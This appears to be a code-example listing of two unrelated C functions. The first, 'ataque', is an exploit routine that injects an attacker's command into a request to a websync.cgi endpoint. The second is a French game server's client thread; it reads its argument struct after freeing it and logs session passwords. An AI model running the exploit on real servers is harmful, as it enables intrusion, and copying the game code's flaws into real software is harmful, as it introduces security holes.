コード例 #1
0
int ataque(int victim, char *command) {
  int sockfd, retval, i;
  char tmp[256];
  fd_set rfds;
  struct timeval timer;
  char part1[1024] =
"/cgi-bin/websync.cgi?ed=&Es=7x1x101&un=Defcom&hn=lab&rpt=/cybersched/En_US/WebResources&cbn=/cgi-bin/websync.cgi&dow=sun&dmy=Off&tf
h=Off&lan=En_US&ix=0&amd=2&epw=WXxiAkS&mrd=-1&mrc=0&mrb=0&bnv=9&ds=7x1x101&tzs=";
  char fancy[] = "Host: 127.0.0.1\nConnection: Keep-Alive\nUser-Agent:
Defcom Labs @ Spain version 0.1\nContent-type:
aplication/x-www-form-urlencoded\n";

  sockfd = connex(victim);

  FD_ZERO(&rfds);
  FD_SET(sockfd, &rfds);
  timer.tv_sec = 5;
  timer.tv_usec = 0;

  retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);

  if(retval) {
   printf("%s[ + ] Atacking the server ... \n%s", VERDE, NORMAL);
   write(sockfd, "GET ", strlen("GET "));
   write(sockfd, part1, strlen(part1));
   write(sockfd, command, strlen(command));
   write(sockfd, "\n", strlen("\n"));
   // Fancy stuff ... LoL!
   write(sockfd, fancy, strlen(fancy));
   write(sockfd, "\n\n", strlen("\n\n"));
   for(i = 0; i < 256; i++) {
     tmp[i] = '\0';
   }
   read(sockfd, tmp, sizeof(tmp));
  }
  else {
   printf("%sTime out!!!!!\n%s", ROJO, NORMAL);
   exit(-1);
  }

}
コード例 #2
0
// Fonction qu'execute les threads de gestion de client
void *gestionClient(void *argThread) {
  ArgThread *arg = (ArgThread *)argThread;
  int sock = arg->socket;
  Session *session = NULL;// = arg->session;
  ListeJoueurs *listeJ = NULL;//session->liste;
  pthread_t tmp;
  char *nomSession;
  int nbRead;
  char buf[TBUF];
  char *req;
  int cpt=0;
  int decoProprement = 0;
  Joueur *myJoueur = NULL; /* Joueur du thread courant */
  free(arg); 

  while((!decoProprement) && (cpt<TBUF) && (nbRead=read(sock, &buf[cpt++], 1)) > 0) {
    /* Lecture d'une ligne */
    if(buf[cpt-1] != '\n') 
      continue;
    buf[cpt-1] = '\0';
    cpt = 0;
  
    printf("[Receive] : %s\n", buf); 
    req = strtok(buf, "/");

    switch(hash_protocole(req)) {
    case 1: /* CONNEX */
      pthread_mutex_lock(&mutexAllSession); // Au cas ou une destruction en cours
      pthread_mutex_lock(&(sessionDeBase->mutex));
      session = sessionDeBase;
      listeJ = session->liste;
      myJoueur = connex(sock, listeJ); 
      if(myJoueur == NULL) {
        pthread_mutex_unlock(&(sessionDeBase->mutex));
	pthread_mutex_unlock(&mutexAllSession);  
	sprintf(buf, "Erreur/Pseudo deja present/\n");
	write(sock, buf, strlen(buf));
	break;
      }
      indiquerConnexion(session, myJoueur); // Aux autres joueurs de la session
      pthread_mutex_unlock(&(sessionDeBase->mutex));
      pthread_mutex_unlock(&mutexAllSession);      
      break;
    case 2: /* SORT */
      printf("[Deconnexion] '%s'\n", myJoueur->pseudo);
      sort(listeJ, myJoueur);
      decoProprement = 1;
      break;
    case 3: // SOLUTION // Reflexion ou resolution
      pthread_mutex_lock(&(session->mutex));       
      if(session->phase == REFLEXION) {
	pthread_mutex_unlock(&(session->mutex));
	trouve(session, myJoueur);
      }
      else if(session->phase == RESOLUTION) {
	pthread_mutex_unlock(&(session->mutex));
	resolution(session, myJoueur);
      }
      else {
	printf("WHAT not reflexion or resolution... bad client...\n"); // Client mal fait
      }
      break;
    case 4: // ENCHERE
      enchere(session, myJoueur);
      break;
    case 6: // CHAT
      chat(session, myJoueur);
      break;
    case 7: // CREERSESSION
      session = creerSession(arg->listeSession, myJoueur);
      if(session == NULL) {
	sprintf(buf, "Erreur/Session deja existante/\n");
	write(sock, buf, strlen(buf));
	break;
      }
      printf("[Creation Session] name = %s, mdp = %s\n", session->nomSession, session->mdp);
      pthread_create(&tmp, NULL, gestionSession, session); // On lance le thread de gestion
      session->thread = tmp; 
      listeJ = session->liste;
      myJoueur = connex(sock, listeJ); 
      indiquerConnexion(session, myJoueur); // Au cas ou une connexion entre temps
      break;
    case 8: // CONNEXIONPRIVEE
      nomSession = strtok(NULL, "/");
      char *mdp = strtok(NULL, "/");
      printf("[Connexion privee] nomSession = %s, mdp = %s\n", nomSession, mdp);
      pthread_mutex_lock(&mutexAllSession); //////////////////////////////
      session = getSession(arg->listeSession, nomSession);
      if(session == NULL) {
	pthread_mutex_unlock(&mutexAllSession); ////////////////////////////////
	sprintf(buf, "Erreur/Session inexistante/\n");
	write(sock, buf, strlen(buf));
        break;
      }
      if(strcmp(mdp, session->mdp)) {
	pthread_mutex_unlock(&mutexAllSession);
	sprintf(buf, "Erreur/Mauvais mot de passe/\n");
	write(sock, buf, strlen(buf));
	break;
      }
      pthread_mutex_lock(&(session->mutex)); ///////////////:
      listeJ = session->liste;
      myJoueur = connex(sock, listeJ); 
      if(myJoueur == NULL) {
	pthread_mutex_unlock(&(session->mutex));
	pthread_mutex_unlock(&mutexAllSession);
	sprintf(buf, "Erreur/Pseudo deja present/\n");
	write(sock, buf, strlen(buf));
        break;
      }
      indiquerConnexion(session, myJoueur);
      pthread_mutex_unlock(&(session->mutex));
      pthread_mutex_unlock(&mutexAllSession);
      break;
    default:
      printf("[Requete inconnue] '%s'\n", req);
      break;
    }
  }

  if(myJoueur == NULL || myJoueur->pseudo == NULL) {
    printf("Un truc est null WARNING !!!\n");
    return NULL;
  }
  
  if(!decoProprement) { /* Cas ou fermeture socket sans SORT */
    printf("[Deconnexion] '%s'\n", myJoueur->pseudo);
    sort(listeJ, myJoueur);
  }

  pthread_mutex_lock(&mutexAllSession);
  pthread_mutex_lock(&(session->mutex));
  if(session->liste->nbJoueur == 0) { // Dernier joueur de la session Faudrait un mutex global
    pthread_mutex_unlock(&(session->mutex));
    printf("[Dernier joueur] destruction de la session '%s'\n", session->nomSession);
    pthread_cancel(session->thread); // Annuler le thread de gestion de la session
    if(session != sessionDeBase)
      suppSessionListe(arg->listeSession, session); // Si pas la public, on la supprime de la liste des session privees

    // Si sessionDeBase on le reinitialise pour pas devoir attendre la fin du tour lors des prochaines connexions
    if(session == sessionDeBase) {  // Prendre le mutex de sessionDeBase ou je sais pas quoi 
      printf("[Re-init session public]\n");
      sessionDeBase = createSession("Session_1", "");
      pthread_create(&tmp, NULL, gestionSession, sessionDeBase);
      sessionDeBase->thread = tmp;
    }
  }
  else {
    pthread_mutex_unlock(&(session->mutex));
  }
  pthread_mutex_unlock(&mutexAllSession);

  printf("Quit\n");
  return NULL;
}